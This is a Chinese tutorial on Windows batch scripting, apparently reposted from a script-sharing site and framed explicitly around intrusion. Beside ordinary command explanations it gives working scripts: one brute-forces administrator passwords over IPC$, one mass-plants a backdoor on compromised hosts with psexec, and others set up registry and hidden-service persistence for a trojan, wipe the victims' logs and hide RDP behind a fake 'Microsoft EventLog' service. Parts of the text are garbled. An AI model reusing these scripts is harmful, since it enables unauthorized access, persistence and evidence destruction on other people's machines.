windows批处理命令教程_DOS BAT_脚本之家

批处理文件是无格式的文本文件，它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称，或者双击该批处理文件，系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件（也被称为批处理程序或脚本），可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用，例如我们后面要提到 的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。

一.简单批处理内部命令简介

1.echo 命令

打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。

语法

echo [{on|off}] [message]

Sample：@echo off / echo hello world

在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用> >> ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

2.@ 命令

表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。

Sample：@echo off

@echo Now initializing the program,please wait a minite...

@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。)

3.goto 命令

指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。

语法：goto label （label是参数，指定所要转向的批处理程序中的行。）

Sample：

if {%1}=={} goto noparms

if {%2}=={} goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。）

@Rem check parameters if null show usage

:noparms

echo Usage: monitor.bat ServerIP PortNumber

goto end

标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

4.Rem 命令

注释命令，在C语言中相当与/*--------*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。

Rem Message

Sample：@Rem Here is the descrlption.

5.Pause 命令

运行 Pause 命令时，将显示下面的消息：

Press any key to continue . . .

Sample：

@echo off

:begin

copy a:*.* d：back

echo Please put a new disk into driver A

pause
goto begin
在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d:back中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按我饧 绦 怼?
6.Call 命令
从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。
语法
call [Drive:][Path] FileName [BatchParameters] [:label [arguments]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
7.start 命令
调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数：
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行，该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:

```
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag （应先判断数值最高的错误码）
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:dosdefrag
goto end
:mem
mem
goto end
:end
echo good bye
```

此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都 以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。
9.If 命令

if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式:

1、if "参数" == "字符串" 待执行的命令

参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号)

如if "%1"=="a" format a:

if {%1}=={} goto noparms

if {%2}=={} goto noparms

2、if exist 文件名 待执行的命令

如果有指定的文件，则条件成立，运行命令，否则运行下一句。

如if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 数字 待执行的命令

如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。

如if errorlevel 2 goto x2

DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。

10.for 命令

for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。

在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable

for {%variable|%%variable} in (set) do command [CommandLineOptions]

%variable 指定一个单一字母可替换的参数。

(set) 指定一个或一组文件。可以使用通配符。

command 指定对每个文件执行的命令。

command-parameters 为特定命令指定参数或命令行开关。

在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I

如果命令扩展名被启用，下列额外的 FOR 命令格式会受到支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符，则指定与目录名匹配，而不与文件名匹配。

FOR /R [drive:]path] %variable IN (set) DO command [command-

检查以 [drive:]path 为根的目录树，指向每个目录中的FOR 语句。如果在 /R 后没有指定目录，则使用当前目录。如果集仅为一个单点(.)字符，则枚举该目录树。

FOR /L %variable IN (start,step,end) DO command [command-para

该集表示以增量形式从开始到结束的一个数字序列。

因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生

序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command

FOR /F ["options"] %variable IN ("string") DO command

FOR /F ["options"] %variable IN (''command'') DO command

或者，如果有 usebackq 选项:

FOR /F ["options"] %variable IN (file-set) DO command

FOR /F ["options"] %variable IN ("string") DO command

FOR /F ["options"] %variable IN (''command'') DO command

filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前，每份文件都已被打开、读取并经过处理。处理包括读取文件，将其分成一行行的文字，然后将每行解析成零或更多的符号。然后用已找到的符 号字符串变量值调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 "options"参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为:

eol=c - 指一个行注释字符的结尾(就一个)

skip=n - 指在文件开始时忽略的行数。

delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。

tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的格式为一个范围。通

过 nth 符号指定 m符号字符串中的最后一个字符星号，那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。

usebackq - 指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi中使用双引号扩起文件名称。

sample1:

FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或空格定界符号。请注意，这个 for 程序体的语句引用 %i 来取得第二个符号，引用 %j 来取得第三个符号，引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名，您需要用双引号将文件名括起来。为了用这种方式来使用双引号，您还需要使用 usebackq 选项，否则，双引号会被理解成是用作定义某个要分析的字符串的。

%i 专门在 for 语句中得到说明，%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号，只要不试图说明一个高于字母 ''z'' 或''Z'' 的变量。请记住，FOR 变量是单一字母、分大小写和全局的；同时不能有 52 个以上都在使用中。

您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，用单引号将括号之间的 filenameset 括起来。这样，该字符串会被当作一个文件中的一个单一输入行。

最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进内存，并被当作文件分析。因此，以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

会枚举当前环境中的环境变量名称。

另外，FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:

~I - 删除任何引号(")，扩充 %I

%~fI - 将 %I 扩充到一个完全合格的路径名

%~dI - 仅将 %I 扩充到一个驱动器号

%~pI - 仅将 %I 扩充到一个路径

%~nI - 仅将 %I 扩充到一个文件名

%~xI - 仅将 %I 扩充到一个文件扩展名

%~sI - 扩充的路径只含有短名

%~aI - 将 %I 扩充到文件的文件属性

%~tI - 将 %I 扩充到文件的日期/时间

%~zI - 将 %I 扩充到文件的大小

%~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量未被定义，或者没有找到文件，此组合键会扩充空字符串

可以组合修饰符来得到多重结果:

%~dpI - 仅将 %I 扩充到一个驱动器号和路径

%~nxI - 仅将 %I 扩充到一个文件名和扩展名

%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名

%~dp$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充到找到的第一个驱动器号和路径。

%~ftzaI - 将 %I 扩充到类似输出线路的 DIR

在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读，而且避免与不分大小写的组合键混淆。

以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。

sample2：

利用For命令来实现对一台目标Win2k主机的暴力密码破解。

我们用net use /ipipc$ "password" /u:"administrator"来尝试这和目标主机进行连接，当成功时记下密码。

最主要的命令是一条：for /f i% in (dict.txt) do net use /ipipc$ "i%" /u:"administrator"

用i%来表示admin的密码，在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令－－for /f i%% in (dict.txt) do net use /ipipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:ok.txt ，这样就ko了。

sample3：

你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。

主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable）

@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k

tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。

而cultivate.bat无非就是用net use命令来建立IPC$连接，并copy木马＋后门到victim，然后用返回码（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。

delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。

代码雏形：

---------- cut here then save as a batchfile(I call it main.bat) ----------

```
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
```

---------- cut here then save as a batchfile(I call it main.bat) ----------

---------- cut here then save as a batchfile(I call it door.bat) ----------

```
@net use /%1ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection ……OK
@copy windrv32.exe/%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec /%1 c:winntsystem32windrv32.exe
@psexec /%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
```

---------- cut here then save as a batchfile(I call it door.bat) ----------

这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PSexec.exe需放在统一目录下.批处理内容

尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.

二.如何在批处理文件中使用参数

批处理中可以使用参数，一般从1%到 9%这九个，当有多个参数时需要用shift来移动，这种情况并不多见，我们就不考虑它了。

sample1：fomat.bat

```
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
```

这个例子用于连续地格式化几张软盘，所以用的时候需在dos窗口输入fomat.bat a，呵呵,好像有点画蛇添足了～^_^

sample2：

当我们要建立一个IPC$连接地时候总要输入一大串命令，弄不好就打错了，所以我们不如把一些固定命令写入一个批处理，把肉鸡地ip password username 当着参数来赋给这个批处理，这样就不用每次都打命令了。

@echo off

@net use /1%ipc$ "2%" /u:"3%" 注意哦，这里PASSWORD是第二个参数。

@if errorlevel 1 echo connection failed

怎么样,使用参数还是比较简单的吧？你这么帅一定学会了^_^.

三.如何使用组合命令(Compound Command)

1.&

Usage：第一条命令 & 第二条命令 [& 第三条命令...]

用这种方法可以同时执行多条命令，而不管命令是否执行成功

Sample：

C:>dir z: & dir c:Ex4rch

The system cannot find the path specified.

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

Directory of c:Ex4rch

2002-05-14 23:51

.

2002-05-14 23:51 ..

2002-05-14 23:51 14 sometips.gif

2.&&

Usage：第一条命令 && 第二条命令 [&& 第三条命令...]

用这种方法可以同时执行多条命令，当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令；

Sample：

C:>dir z: && dir c:Ex4rch

The system cannot find the path specified.

C:>dir c:Ex4rch && dir z:

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

Directory of c:Ex4rch

2002-05-14 23:55

.

2002-05-14 23:55 ..

2002-05-14 23:55 14 sometips.gif

1 File(s) 14 bytes

2 Dir(s) 768,671,744 bytes free

The system cannot find the path specified.

在做备份的时候可能会用到这种命令会比较简单，如：

dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:backup

如果远程服务器上存在backup.mdb文件，就执行copy命令，若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 ：)

3.||

Usage：第一条命令 || 第二条命令 [|| 第三条命令...]

用这种方法可以同时执行多条命令，当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令；

Sample：

```
C:Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
```

组合命令使用的例子：

sample：

```
@copy trojan.exe /%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
```

四、管道命令的使用

1.| 命令

Usage：第一条命令 | 第二条命令 [| 第三条命令...]

将第一条命令的结果作为第二条命令的参数来使用，记得在unix中这种方式很常见。

sample：

```
time /t>>D:IP.log
netstat -n -p tcp|find ":3389">>D:IP.log
start Explorer
```

看出来了么？用于终端服务允许我们为用户自定义起始的程序，来实现让用户运行下面这个bat，以获得登录用户的IP。

2.>、>>输出重定向命令

将一条命令或某个程序输出结果的重定向到特定文件中，> 与 >>的区别在于，>会清除调原有文件中的内容后写入指定文件，而>>只会追加内容到指定文件中，而不会改动其中的内容。

sample1：

```
echo hello world>c:hello.txt (stupid example?)
```

sample2:

时下DLL木马盛行，我们知道system32是个捉迷藏的好地方，许多木马都削尖了脑袋往那里钻，DLL马也不例外，针对这一点我们可以在安装好系统和必要的应用程序后，对该目录下的EXE和DLL文件作一个记录：

运行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,

这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,

日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.

这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:

CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能 发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好，如 果有的话也不要直接DEL掉，先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里，若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。

3.< 、>& 、<&

< 从文件中而不是从键盘中读入命令输入。

>& 将一个句柄的输出写入到另一个句柄的输入中。

<& 从一个句柄读取输入并将其写入到另一个句柄输出中。
这些并不常用，也就不多做介绍。
五.如何用批处理文件来操作注册表
在入侵过程中经常回操作注册表的特定的键值来实现一定的目的，例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后 门。当然我们也会修改注册表来加固系统或者改变系统的某个属性，这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操 作注册表.(我们可以用批处理来生成一个REG文件)
关于注册表的操作，常见的是创建、修改、删除。
1.创建
创建分为两种，一种是创建子项(Subkey)
我们创建一个文件，内容如下：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREMicrosofthacker]
然后执行该脚本，你就已经在HKEY_LOCAL_MACHINESOFTWAREMicrosoft下创建了一个名字为“hacker”的子项。
另一种是创建一个项目名称
那这种文件格式就是典型的文件格式，和你从注册表中导出的文件格式一致，内容如下：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"Invader"="Ex4rch"
"Door"=C:/WINNT/system32/door.exe
"Autodos"=dword:02
这样就在[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下
新建了:Invader、door、about这三个项目
Invader的类型是“String Value”
door的类型是“REG SZ Value”
Autodos的类型是“DWORD Value”
2.修改
修改相对来说比较简单，只要把你需要修改的项目导出，然后用记事本进行修改，然后导入（regedit /s）即可。
3.删除
我们首先来说说删除一个项目名称，我们创建一个如下的文件：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"Ex4rch"=-
执行该脚本，[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下的"Ex4rch"就被删除了；
我们再看看删除一个子项，我们创建一个如下的脚本：
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
执行该脚本，[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]就已经被删除了。
相信看到这里，.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了，记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。
samlpe1:如上面的那个例子,如想生成如下注册表文件
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要这样：
@echo Windows Registry Editor Version 5.00>>Sample.reg

@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>Sample.reg

@echo "Invader"="Ex4rch">>Sample.reg

@echo "door"=5>>C:/WINNT/system32/door.exe>>Sample.reg

@echo "Autodos"=dword:02>>Sample.reg

samlpe2:

我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun(Runonce、 Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将 木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)

@start windrv32.exe

@attrib +h +r windrv32.exe

@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] >>patch.dll

@echo "windsnx "=- >>patch.dll

@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:winntsystem32windrv32.exe

@regedit /s patch.dll

@delete patch.dll

@REM [删除DSNXDE在注册表中的启动项，用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读，并config为自启动]

@REM 这样不是更安全^_^.

六.精彩实例放送

1.删除win2k/xp系统默认共享的批处理

```
------------------------ cut here then save as .bat or .cmd file ----------------------------
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
```

```
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:delshare.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]>> c:delshare.reg
echo "AutoShareWks"=dword:00000000>> c:delshare.reg
echo "AutoShareServer"=dword:00000000>> c:delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:delshare.reg
echo Deleting the temprotarily files.
del c:delshare.reg
goto :END
:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author：Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error：Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance, to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: , Please chang it youself.
echo.
echo example：
echo If locak disklable are C: D: E: X: Y: Z: , you should chang the command into ：
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF
:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail toEx4rch@hotmail.com.
```

```
echo
echo.
echo ------------------------------------------------------
echo.
:EOF
echo end of the batch file
```

------------------------ cut here then save as .bat or .cmd file ----------------------------

2.全面加固系统（给肉鸡打补丁）的批处理文件

------------------------ cut here then save as .bat or .cmd file ----------------------------

```
@echo Windows Registry Editor Version 5.00 >patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters] >>patch.dll
@echo "AutoShareServer"=dword:00000000 >>patch.dll
@echo "AutoShareWks"=dword:00000000 >>patch.dll
@REM [禁止共享]
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa] >>patch.dll
@echo "restrictanonymous"=dword:00000001 >>patch.dll
@REM [禁止匿名登录]
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetBTParameters] >>patch.dll
@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
@REM [禁止及文件访问和打印共享]
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices@REMoteRegistry] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSchedule] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon] >>patch.dll
@echo "ShutdownWithoutLogon"="0" >>patch.dll
@REM [禁止登录前关机]
@echo "DontDisplayLastUserName"="1" >>patch.dll
@REM [禁止显示前一个登录用户名称]
@regedit /s patch.dll
```

------------------------ cut here then save as .bat or .cmd file ----------------------------

下面命令是清除肉鸡所有日志，禁止一些危险的服务，并修改肉鸡的terminnal service留跳后路。

```
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:winntsystem32logfilesw3svc1*.* /f /q
@del c:winntsystem32logfilesw3svc2*.* /f /q
@del c:winntsystem32config*.event /f /q
@del c:winntsystem32dtclog*.* /f /q
@del c:winnt*.txt /f /q
@del c:winnt*.log /f /q
@net start w3svc
@net start event log
@rem [删除日志]

@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
```

@del patch.dll

@echo The server has been patched,Have fun.

@del patch.bat

@REM [禁止一些危险的服务。]

@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp] >>patch.dll

@echo "PortNumber"=dword:00002010 >>patch.dll

@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp >>patch.dll

@echo "PortNumber"=dword:00002012 >>patch.dll

@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD] >>patch.dll

@echo "Start"=dword:00000002 >>patch.dll

@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSecuService] >>patch.dll

@echo "Start"=dword:00000002 >>patch.dll

@echo "ErrorControl"=dword:00000001 >>patch.dll

@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00, >>patch.dll

@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65, >>patch.dll

@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll

@echo "ObjectName"="LocalSystem" >>patch.dll

@echo "Type"=dword:00000010 >>patch.dll

@echo "Descr1ption"="Keep record of the program and windows'' message。" >>patch.dll

@echo "DisplayName"="Microsoft EventLog" >>patch.dll

@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicestermservice] >>patch.dll

@echo "Start"=dword:00000004 >>patch.dll

@copy c:winntsystem32termsrv.exe c:winntsystem32eventlog.exe

@REM [修改3389连接，端口为8210(十六进制为00002012)，名称为Microsoft EventLog，留条后路]

rem Author: Munga Bunga - from Australia, the land full of retarded Australian''s (help me get out of here)

用批处理命令实现FTP文件的自动传输

由于工作的原因，每天需要在Windows操作系统之间或与其它操作系统如UNIX等利用FTP进行文件传输。经常重复这样的工作程序，即繁琐又容易出 错。本人经过思考摸索，在Windows操作系统的“任务计划”帮助下，成功地用批处理命令实现FTP文件的自动传输。现将此操作过程详解，希望对同好有 所帮助，更望能抛砖引玉，提出更好的方法。

假设本机操作系统为Windows操作系统，需进行文件传输的目录为C:＼datatran；对方计算机操作系统为UNIX操作系统，IP地址为 10.30.15.3，需进行文件传输的目录为C:＼data，登录用户名为Anonymous，口令为123456。从本机到对方机接收文件操作方法如 下。

第一步，先新建一个文本：

Open 10.31.15.3

User anonymous

123456

Cd data

Bin

Prompt

Mget *.*

Bye

Quit

Exit

将该文本保存为1.ftp存放到C盘根目录。该文件只要扩展名为ftp，前缀可任意取名。目录也不一定要在根目录，主要以方便为主。文本中Bin为用黑吧 码格式传输文件，如用ASCII码格式传输文件可去掉该行。如为本机向对方机发送文件，则只要将文本中的Mget替换成Mput即可。这之后，再新建另一 个文本：

C:

Cd datatran

ftp－n－s:”c:\1.ftp”

新建完毕后将该文本保存为1.bat后存放在硬盘任何分区或软盘中均可。这样，第一步工作已经完成，您随时可以执行该批处理文件进行FTP文件的传输。

第二步，将该该批处理文件放在“任务计划”中设定自动运行。方法是：打开“开始”菜单“程序”下“附件”中的“系统工具”，点击“任务计划”，执行“添加 任务计划”，按“任务计划向导”提示将该批处理文件添加到任务计划中，并指定执行周期，之后再设下密码后即完成。从此，计算机会根据您的设定，自动周期性 地进行文件接收或发送，不再需要您动一下手指，真正做到它工作，您休息。

另外，如果是Windows操作系统之间进行FTP进行文件传输，只要去掉1.ftp中“Bin”一行就可以了.

.....

.....

..

echo、@、call、pause、rem(小技巧：用::代替rem)是批处理文件最常用的几个命令。

echo 表示显示此命令后的字符

echo off 表示在此语句后所有运行的命令都不显示命令行本身

@与echo off相象，但它是加在每个命令行的最前面，表示运行时不显示这一行的命令行（只能影响当前行）。

call 调用另一个批处理文件（如果不用call而直接调用别的批处理文件，那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令）。

pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示，等待用户按任意键后继续

rem 表示此命令后的字符为解释行（注释），不执行，只是给自己今后参考用的（相当于程序中的注释）。

例1：用edit编辑a.bat文件，输入下列内容后存盘为c:\a.bat，执行该批处理文件后可实现：将根目录中所有文件写入 a.txt中，启动UCDOS，进入WPS等功能。

批处理文件的内容为:　　命令注释：

@echo off	不显示后续命令行及当前命令行
dir c:*.* >a.txt	将c盘文件列表写入a.txt
call c:\ucdos\ucdos.bat	调用ucdos
echo 你好	显示"你好"
pause	暂停,等待按键继续
rem 准备运行wps	注释：准备运行wps
cd ucdos	进入ucdos目录
wps	运行wps

批处理文件的参数

批处理文件还可以像C语言的函数一样使用参数（相当于DOS命令的命令行参数），这需要用到一个参数表示符“%”。

%[1-9]表示参数，参数是指在运行批处理文件时在文件名后加的以空格（或者Tab）分隔的字符串。变量可以从%0到%9，%0表示批处理命令本身，其它参数字符串用%1到%9顺序表示。

例2：C:根目录下有一批处理文件名为f.bat，内容为：

```
@echo off
format %1
```

如果执行C:\>f a:

那么在执行f.bat时，%1就表示a:，这样format %1就相当于format a:，于是上面的命令运行时实际执行的是format a:

例3：C:根目录下一批处理文件名为t.bat，内容为:

```
@echo off
type %1
```

type %2

那么运行C:\>t a.txt b.txt
%1 ： 表示a.txt
%2 ： 表示b.txt
于是上面的命令将顺序地显示a.txt和b.txt文件的内容。

特殊命令

if goto choice for是批处理文件中比较高级的命令。

if

是条件语句，用来判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式:

